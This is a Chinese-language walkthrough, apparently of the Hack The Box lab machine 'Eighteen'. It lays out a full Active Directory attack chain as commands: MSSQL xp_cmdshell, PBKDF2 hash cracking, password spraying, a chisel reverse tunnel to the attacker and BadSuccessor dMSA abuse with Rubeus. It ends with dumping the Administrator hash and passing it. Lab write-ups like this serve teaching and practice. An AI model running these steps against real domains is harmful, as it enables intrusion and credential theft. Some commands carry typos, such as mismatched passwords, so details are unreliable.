HTB-Eighteen 靶机笔记

立足点:

1. 先快速粗略扫描

mkdir nmap_output
sudo nmap -n -Pn -sS --top-ports 10000 --reason --max-retries 2 --scan-delay 1ms IP -oA nmap_output/ports
// -n 不做DNS解析
// -Pn 不做主机存活探测
// -sS 半开放扫描(默认)
// --top-ports 常用用端口
// --reason 显示端口推断原因
// --max-retries 最大重试次数
// --scan-delay 扫描间隔
// -oA 全格式输出

2. 精细扫描

结合着公开信息收集和你对接触目标谨慎程度的要求,你觉得可以了就可以随时停止,如果觉得这些可以做实际的攻击尝试或者可以接触一下了,那就不再扫,这都是需要你根据与目标接触的慎程度做选择的,那我们现在想稳扎稳打,不怕因为扫描带来的冒犯继续服务探测

sudo nmap -n -Pn -sS -p 80,1433,5985,445 -sV -sC -O --version-light --reason --max-retries 2 --scan-delay 1ms IP -oA nmap_output/services
// -sV 服务版本
// -sC 默认脚本
// -O 探测操作系统,需要一开一关的端口
// --version-light 轻量级版本探测
// 1443 ms-sql默认端口,5985 winrm默认端口,走http,5986走https

"ssl-date:2026-0x-0xT19:00:15+00:00; +7h00m01s from time.scanner" 时钟偏移,一旦处理票据的时候,要做时间同步,因为有时钟偏差

追加hosts

echo 'IP eighteen.htb dc01.eighteen.htb' | sudo tee -a /etc/hosts
// 这里不做区分但要关注到大小写,因为一旦涉及到DNS代理的时候,很可能比较的是packet值,这样大小写就不一样了

快速侦察

curl -s http://eighteen.htb | html2text
// -s 静默模式
// html2text 剔除HTML格式转为纯文本

浏览器访问URL,测试功能点,有表单有提交的内容也是一个庞大的测试场景

连接内网靶场

sudo openvpn --config htb-us-udp.ovpn --dev-type tun --dev htb
// --config 指定配置文件
// --dev-type 指定虚拟网络设备类型 tun,三层隧道
// --dev 指定创建的虚拟网络接口名称 

认证测试

nxc winrm eighteen.htb -u kevin -p 'iNaZwe6haRj2gaw' --local-auth
nxc mssql eighteen.htb -u kevin -p 'iNaZwe6haRj2gaw' --local-auth
// --local-auth 指定对目标机器进行本地账户认证,如果不加这个参数,默认会尝试使用域认证。

ncx可以做“凭据测试”、“权限获取”、“横向移动”,无需频繁切换工具。它支持SMB、LDAP、WinRM、SSH、RDP等多种协议,并提供丰富的模块扩展功能

nxc <协议> <目标地址> [选项]

连接mssql

impacket-mssqlclient eighteen.htb/kevin:'iNa2we6haRj2gaw!'@eighteen.htb

靶场给的凭据映射到sql的系统中,它是guest,这样就不乐观了,意味着权限可能很小,这种客户端工具,你要有一个框架性的思维去熟悉它,它无非就是一个客户端,然后应用类型是数据库,那数据库关系型的,你不要因为这些工具自己不熟悉,然后有畏惧感,就是说你需要具备一个思维框架,能够通用性的理解这类工具,它就是一个连接器,一个客户端,一个应用层的shell,也就这样的东西

enable_xp_cmdshell    //you know what it means
xp_cmdshell whoami    //执行系统命令
enum_db               //枚举数据库
enum_logins           //枚举登录用户
enum_impersonate      //枚举可以冒充的登录用户
exec_as_login appdev  //指定登录用户appdev的身份执行命令

查询数据

use financial_planner
select name from sysobjects
select * from users

暴露admin密码哈希

vim admin_pwd
pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
echo -n 'AMtzteQIG7yAbZIa' | base64
echo -n '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64
// -n 不追加末尾换行符,换行会干扰编码结果
// -r 反向操作,把十六进制字符串还原成原始二进制字节
// -p 纯十六进制模式

原始哈希分析

  • 1. pbkdf2:sha256:600000 加密方案,PBKDF2算法、哈希为SHA256、迭代次数60万次;

  • 2. $AMtzteQIG7yAbZIa 盐值(salt);

  • 3. $0673ad90a......7be28ce4d66c887133 最终哈希密文,这是Python Flask项目最常用的密码存储格式(Werkzeug默认加密)

编码后拼接

vim admin_pwd_pbkdf2
pbkdf2:sha256:600000$0U10enR1UU1HN31BY1pJY0==$BnOtkKCor7GdZiM28Pzjqe30t7GRk3F740zk1myIcTM=

确定hashcat破解模式

根据加密算法关键字寻找

hashcat -hh | grep -i pbkdf2 | grep -i sha256
hashcat --example-hashes -m 10900 | grep -i 'Example.Hash'
hashcat --example-hashes -m 10000 | grep -i 'Example.Hash'
hashcat --example-hashes -m 20300 | grep -i 'Example.Hash'
// -hh 显示所有模式编号、名称详细信息
// --example-hashes 输出当前模式的哈希例子

image

第一个10900的更符合,但是前边不需要写pbkdf2,第二个不行,是因为它的这段这两个信息“pbkdf2_sha256”写到一起的,单纯从外形上就是这么比较的,如果你非要找到更精确更理性的-m值匹配,那你就需要去看密码学和那个应用开发文档里具体怎么设定的

根据样例标准修改hash

vim admin_pwd_pbkdf2
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
:wq

按照HTB靶机的常见设计习惯,设计者通常会将密码设置为rockyou.txt中可命中的词条,所以我们打靶的时候经常使用rockyou,但实战的时候应该这条规则会弱化很多,应该使用更聚焦更自定义化的字典

破解密钥哈希

hashcat -m 10900 admin_pwd_pbkf2 /usr/share/wordlists/rockyou.txt --potfile-disable
// --potfile-disable 不把本次破解结果存入本地缓存文件

image

获取密钥 "iloveyou1"

但只是一个密码,还不知道是哪个密码使用者,但mssql数据库管理系统中,它的admin 目标系统里就是我们这个靶机里,它有admin这个用户吗?其实我们需要看一下,如果有,那很可能就是那个用户,但是admin这种用户太通用化了,所以很可能还有撞碰、喷洒的地方,把这个凭据存下来,然后用我们手里的kevin,毕竟是系统用户嘛,虽然不能winrm登录,但是枚举系统里有哪些用户应该是可以的

枚举用户

nxc mssql eighteen.htb -u kevin -p 'iNaZwe6haRj2gaw!' --local-auth --rid-brute 3000 | tee rid-brute.txt
// --rid-brute [max_rid] 枚举max_rid下的所有windows本地用户

Windows本地账户默认RID规则:

  • 管理员Administrator:RID=500,普通用户从1000开始递增;

提取用户

grep 'EIGHTEEN' rid-brute.txt | awk -F'\' '{print $2}'

awk简单用法

awk -F'分隔符' '{print $列号}' 文件名
// -F :指定分割符号
// $1 :分割后第1段内容, $2第2段,以此类推
// $0 :整行原始内容

粗略观察,有空格的是组

image

再次提取

grep 'EIGHTEEN' rid-brute.txt | awk -F'\' '{print $2}' | grep -v ' ' | tee users
// grep -v 反向匹配,排除符合规则的内容

image

密码喷洒

nxc winrm eighteen.htb -u users -p 'iloveyoul' --continue-on-success
// --continue-on-success 就算遇到一组账号密码正确也不停止程序,继续测试剩下所有账户。

image

喷洒成功,使用evil-winrm.py

ewp -i eighteen.htb -u adam.scott -p iloveyoul
//专门连接Windows WinRM的工具,用来获取目标机器交互式PowerShell命令行
// -i eighteen.htb  目标主机地址;
// -u adam.scott  登录用户名;
// -p iloveyou1  账户密码

image

成功获取立足点,Getshell

whoami
hostname
ipconfig

读取flag

gci ../desktop
gc ../desktop/user.txt
// gci = PowerShell里Get-ChildItem,等同于Windows的dir、Linux的ls;
// gc = Get-Content,读取文件内容;

提权

收集系统信息

whoami /all
systeminfo    //可能因为权限而拒绝
Get-computerinfo    //要想到用它

不是因为get-computerinfo有多大的权限,就是相比于systeminfo没有多更多的权限,它俩的上下文是一样的,但是两个的机制是不一样的,systeminfo是一次性批量查询全部系统字段,我相信你熟悉它列出的那些东西,按项目说没有get-computerinfo列的多,但是查询只要有个别的项目字段查询不到,它就整体报错,抛出异常,容错率低,而get-computerinfo是能查出多少就给你吐出来多少,所以机制是不一样的,权限上下文是相同的,但是就是因为这种不同,你要记得信息少,它也是有价值的,所以尝试使用get-computerinfo,后边提权后我们可以验证一下

查询域控制器详细信息

nltest /dsgetdc:eighteen.htb

image

解析

  • 1. DC:\DC01.eighteen.htb 这个域唯一域控主机:DC01

  • 2. Address:\dead:beef::cefc:785:cc40:7ae 域控的IPv6地址

  • 3. Dom Name: eighteen.htb 域名

  • 4. Forest Name: eighteen.htb 林名称(单域单林架构)

  • 5. Flags: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS_DC...

Flags标识含义:

  • PDC:域内主域控制器,处理密码更改、账户锁定、时间同步、NTLM认证,红队横向、哈希抓取重点目标

  • KDC:运行Kerberos密钥分发中心,负责票据TGT/TGS签发,Kerberoasting、AS-REP Roasting攻击必须依托KDC

  • GC(Global Catalog):全局编录服务器,存储整个林所有域的对象精简索引,可跨域查询账号、组信息,渗透中用来枚举全林用户

  • DS:标准AD目录服务,确认这是一台合法域控制器

  • LDAP:开启LDAP服务,可执行LDAP查询、账户枚举、凭据绑定

  • TIMESERV:本机提供Windows时间服务,域内设备时钟同步基准

  • GTIMESERV:可靠的域层级时间服务器,域环境时间校验核心

  • WRITABLE:可写域控(非只读RODC),支持写入账户、组、GPO,是权限提升、植入后门的首选节点

  • WS:部署AD Web服务(Active Directory Web Services),支持PowerShell远程AD操作、WinRM联动查询AD信息

  • FULL_SECRET:存储完整域账户密钥、凭据,无RODC凭据过滤限制,可导出全部域哈希

  • DNS_DC:域控集成DNS服务,解析域内主机、SRV记录

  • DNS_DOMAIN:托管当前域的DNS区域

  • DNS_FOREST:托管整个AD林根域DNS数据

  • CLOSE_SITE:该域控属于客户端本地最近站点,系统优先选择此DC做认证、查询

Google搜索漏洞

windows server 2025 domain exploitation vulnerability

发现dMSA可以利用,你的域根本不需要使用dMSA,只要该功能存在即可,而任何拥有至少一个Windows Server2025域控制器域都具备该功能。

在Windows Server2025 中,微软引入了委托管理的服务账户(dMSA) dMSA是Active Directory中一种新型的服务账户,它进一步扩展了组级管理服务账户(GMSA)的功能。dMSA的一个关键特性就是能够轻松地将现有的非托管服务账户转换为dMSA账户。

作为域控必须开的端口在内部才可以访问

netstat -ano

image

域控专属标志性端口

  • 1. UDP 53:DNS,域控必开,解析域名、域主机;

  • 2. UDP 88:Kerberos,域认证核心端口(票据发放,黄金票据、AS-REP);

  • 3. UDP 464:Kerberos密码更新端口,DC标配。

做端口转发

curl -fsSO https://github.com/jpillora/chisel/releases/download/v1.11.8/chisel_1.11.8_windows_amd64.zip | unzip -q chisel_1.11.8_windows_amd64.zip | rm -f chisel_1.11.8_windows_amd64.zip
ls -liah chisel.exe  //查看文件大小

启动端口转发服务

chisel server -p 9595 --reverse   //监听本地9595端口
// --reverse 开启反向模式

在ewp页面

sl (ni -tyep d $env:programdata\tooling)
menu  //ewp菜单
upload chisel.exe .   //上传chisel.exe
// 客户端连接
.\chisel.exe client 服务端IP:9595 R:1080:socks
// R: 反向映射

配置proxychain配置文件

strict_chain
# proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000


[ProxyList]
socks5 127.0.0.1:1080

整体链路逻辑

1. proxychains:接管本机命令行程序流量,强制转发至本地127.0.0.1:1080 SOCKS代理;

2. Chisel服务端:接收1080端口的SOCKS流量,封装为私有加密协议;

3. 加密数据包通过9595隧道端口,传输到内网主机的Chisel客户端;

4. 内网客户端解密流量,在内网环境发起访问,结果原路回传。

尝试访问验证

proxychains -f chain1080.conf -q nxc ldap 10.129.24.180 -u adam.scott -p 'iloveyou1'

image

Windows域内所有服务(WinRM、LDAP、SMB、RDP、Kerberos)共用同一套域账号体系:

adam.scott + iloveyou1 是域账户凭证,不是WinRM专属密码。WinRM(5985):远程登录用这套账号;LDAP(389):轻量级目录访问协议,域目录查询、枚举用户组、机器信息,同样校验这组账号密码;

nxc检测是否有badsuccessor漏洞,走的是ldap协议,因此需要包装前缀

proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -L
// -L 列出可用的功能模块

image

选择badsuccessor模块

proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -M badsuccessor
// -M 选择模块
// --options 显示帮助有哪些选项
// proxychains的配置文件中代理了DNS会返回站位,因为目标服务器的IP地址已经能够确定了,我们可以取消掉DNS的代理,这样让这些数据更可读,前面已经注释了,当然需要hosts文件中映射域名IP关系

image

最后一行的意思并不是说it这个ou已经是管理员,而是说nxc在这个ou上发现了可疑的ACE受托主体是IT,这是SID,作为badsuccessor的验证模块,这个结果就是说IT这个主体在staff这个容器上具备创建或控制dMSA相关的权限,这个是积极乐观的结果,还可以进一步看IT这个主体的信息

进一步查看IT组的信息

proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' --groups 'IT'

可见他包括了adam.scott用户

image

这句命令不是限定只查OU=Staff里的IT组,而是连接域控LDAP根目录DC=eighteen,DC=htb,在整个域内全局搜索名称为IT的安全组,列出这个组内所有成员,最终结果刚好两个用户都在OU=Staff这个员工文件夹下

也可以从用户的层面验证

proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' --query "(sAMAccountName=adam.scott)" "*"
// 查询要写两部分,这里 * 全部显示
// sAMAccountName:AD域的用户的登录名

image

  • DistinguishedName(DN):用户完整LDAP绝对路径:CN=adam.scott,OU=Staff,DC=eighteen,DC=htb,定位账号在目录树的位置。

  • memberOf = 该用户所属的所有域安全组DN路径,直白说:这个人加入了哪些权限组。

理清层级:完整LDAP目录树结构(eighteen.htb域)

# 根域(最顶层)
DC=eighteen,DC=htb
└── OU=Staff (员工组织单元,存放所有企业员工账号)
    └── 安全组:CN=IT
        ├── CN=adam.scott
        └── CN=bob.brown

1. DC(Domain Component):域组件,对应域名eighteen.htb,是整个AD域的根;

2. OU(Organizational Unit,组织单元):相当于文件夹,用来分类管理账号、计算机,这里OU=Staff代表全体员工目录;

3. CN(Common Name):通用名称,用户、组、电脑的名字;

4. IT:域内安全组(Group),放在OU=Staff下面,属于权限集合,把多个用户打包统一授权

知道组成员关系了,那权限呢?adam.scott这个用户能在这个ou上创建子成员吗?也可以具体枚举出来,依然可以用nxc

proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -M daclread --options
// daclread 用于读取和导出AD对象DACL(自由访问控制列表)的LDAP协议模块。
// --options 查看需要哪些选项

image

proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -M daclread -o TARGET_DN='0U=Staff,DC=eighteen,DC=htb' ACTION=read PRINCIPAL='IT'
// TARGET_DN:指定要查询权限的目标对象
// ACTION:指定操作,常用read读取并显示DACL,或backup备份DACL
// PRINCIPAL:过滤查询,指定后,只显示该特定主体(用户/组)对目标拥有的权限。
// -o 指定选项

image

明确列出CreateChild,能够创建子对象

开始尝试利用badsuccessor

proxychains -f chain1080.conf -q impacket-badsuccessor eighteen.htb/adam.scott:'iloveyou1' -dc-host dc01.eighteen.htb -dc-ip 10.129.24.180 -method LDAP -action add -target-ou 'OU=Staff,DC=eighteen,DC=htb' -dmsa-name redpen -principals-allowed adam.scott -target-account administrator -dns-hostname redpen.eighteen.htb

target-account 我们希望是谁?他应该是在adam.scott这个权限下建立的这个dmsa账号,它替代的那个旧的服务账号,它会继承这个旧的服务账号的权限,那我们要利用肯定希望它的权限足够高,索性administrator

报错了

image

走DLAPS也不行

是否需要Kerberos认证?尝试一下

proxychains chain1080.conf -q nxc smb eighteen.htb -u adam.scott -p 'iloveyou1' --help | grep -i generate
// 先查看参数具体写法

image

生成kbr5配置文件

proxychains chain1080.conf -q nxc smb eighteen.htb -u adam.scott -p 'iloveyou1' --generate-krb5-file krb5.conf
export KRB5_CONFIG=krb5.conf

image

同步目标机与kali的时间差

sudo proxychains -f chainl080.conf -q net time set -S dco1.eighteen.htb -U 'EIGHTEEN\adam.scott%iloveyou1'

虽然是socks5代理,但这里是TCP协议下做的时间同步,是可以的,正常NTP和WINDOWS的w32 time做常规的时间同步的时候走的是UDP 123端口,但是这里跑的是桑巴的net time,它的动作是先通过smb连接DC,端口是TCP的445,所以在socks下是生效的

同步之后就可以申请票据

proxychains chain1080.conf -q nxc smb eighteen.htb -u adam.scott -p 'iloveyou1' --generate-tgt adam
export KRB5CCNAME=adam.ccache

image

然后就尝试刚刚badsuccessor的利用

proxychains -f chain1080.conf -q impacket-badsuccessor eighteen.htb/adam.scott -k -no-pass -dc-host dc01.eighteen.htb -dc-ip 10.129.24.180 -method LDAP -action add -target-ou 'OU=Staff,DC=eighteen,DC=htb' -dmsa-name redpen -principals-allowed adam.scott -target-account administrator -dns-hostname redpen.eighteen.htb

还报错

image

这是代码层面的问题了,修改badsuccessor.py代码

RedTeamNotes改完后发布GitHub:dMSA Forge

安装dMSA Forge

git clone https://github.com/RedteamNotes/dmsa-forge.git
python -m venv dmsa-forge/.venv
source dmsa-forge/.venv/bin/activate
python -m pip install ./dmsa-forge

先评估

proxychains -f chain1080.conf -q dmsaforge assess eighteen.htb/adam.scott:'iloveyoul' --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180

image

assess过程评估了badsuccessor漏洞利用的可能性,厉害的是下边给了下一步利用的命令

再预演

proxychains -f chain1080.conf -q dmsaforge plan add eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --principals-allowed S-1-5-21-1152179935-589108180-1989892463-1604 --target-account Administrator
// plan 是预演,执行看看它要改什么

image
image

msDS-DelegatedMSAState:迁移状态

msDS-ManagedAccountPrecededByLink:旧的账号指向

再添加dMSA,就是去掉plan

proxychains -f chain1080.conf -q dmsaforge add eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --principals-allowed S-1-5-21-1152179935-589108180-1989892463-1604 --target-account Administrator

image

确认添加成功

proxychains -f chain1080.conf -q dmsaforge verify eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --principals-allowed ' '

当然,你利用完了也可以删除

proxychains -f chain1080.conf -q dmsaforge delete eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --yes

下载rubeus编译 在当前目录下

然后拿到指定的Administrator的上下文

ewp -i eighteen.htb -u adam.scott -p iloveyoul //登录adam上下文
menu  //查看菜单
runexe rubeus.exe hash /user:adam.scott /password:iloveyoul /domain:eighteen.htb

拿到ac4和aes256的哈希

image

请求TGT

runexe rubeus.exe asktgt /user:adam.scott /aes256:02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5 /domain:eighteen.htb /dc:10.129.24.180  /nowrap
// /outfile:adam.scott.kirbi 可选,输出到指定文件
// 这里输出到屏幕
// /nowrap 不回行,后续转格式会好点

这里用的是aes256,反正rc4不行,那你就试着用aes256的,这个取决于操作系统的要求

拿到了TGT票据

image

复制TGT票据

请求TGS

// 粘贴到/ticket:后面,我省略了很多,太长了
runexe rubeus.exe asktgs /dmsa /opsec /service:krbtgt/EIGHTEEN.HTB /targetuser:redpen$ /ticket:doIFpjCCBaKgAwIBBaEDAgEWooIEqTCCBKVhggShPIJFGIHGWPIGIHMIIEnaADAgEFoQ4bDEVJROhURUVOLkhUQqIhMByg== /dc:10.129.24.180 /ptt /nowrap
// /ticket:adam.scott.kirbi 可以指定刚刚获得的TGT票据文件

在这个/ticket票据中,这里如果持久化到磁盘的话,它存的格式是kirbi,这个是WINDOWS下票据的格式,在linux下,你见到的是ccache,只是不同的操作系统下,它的格式不同,的确是需要某些转换的,一会儿可能会看看到

不要在python命令中添加引号,其实这个小点需要你很多经验才能快速的想到,因为evil-winrm是python实现的,有很多小细节在python的这个实现中会有不同

拿到redpen的TGS

image

复制tgs,回到kali中

要把它还原回来,它是base64格式的,这个dmsa账号的票据格式是kirbi,是WINDOWS中的票据格式,我们还需要转换成Linux格式,impact的框架下就有这个转换工具

echo "doIFqDCCBaSgAwIBBaEDAgEWooIErjCCBKphggSmMIIEogADAgEFoQ4bDEVJROhURU" | base64 -d > redpen.kirbi
impacket-ticketConverter redpen.kirbi redpen.ccache
export KRB5CCNAME=redpen.ccache

这回可以直接拿来使用了,因为redpen作为dmsa,它继承了它的前任旧的服务账号的权限体系,而这个权限体系我们在利用过程中指定的是Administrator,那它就是管理员权限,我们试着转储

proxychains -f chain1080.conf -q impacket-secretsdump -k -no-pass -dc-ip 10.129.24.180 'eighteen.htb/redpen$@dc01.eighteen.htb' -just-dc-user administrator

image

成功拿到administrator的hash,使用ewp连接

ewp -i eighteen.htb -u administrator -H 0b133be956bfaddf9cea56701affddec

image

拿到flag

image

声明:此笔记是观看B站红队笔记的靶场精讲总结,致谢

posted @ 2026-07-31 15:55  在晴天搁浅  阅读(74)  评论(0)    收藏  举报
::before

12:17:21 AM

::after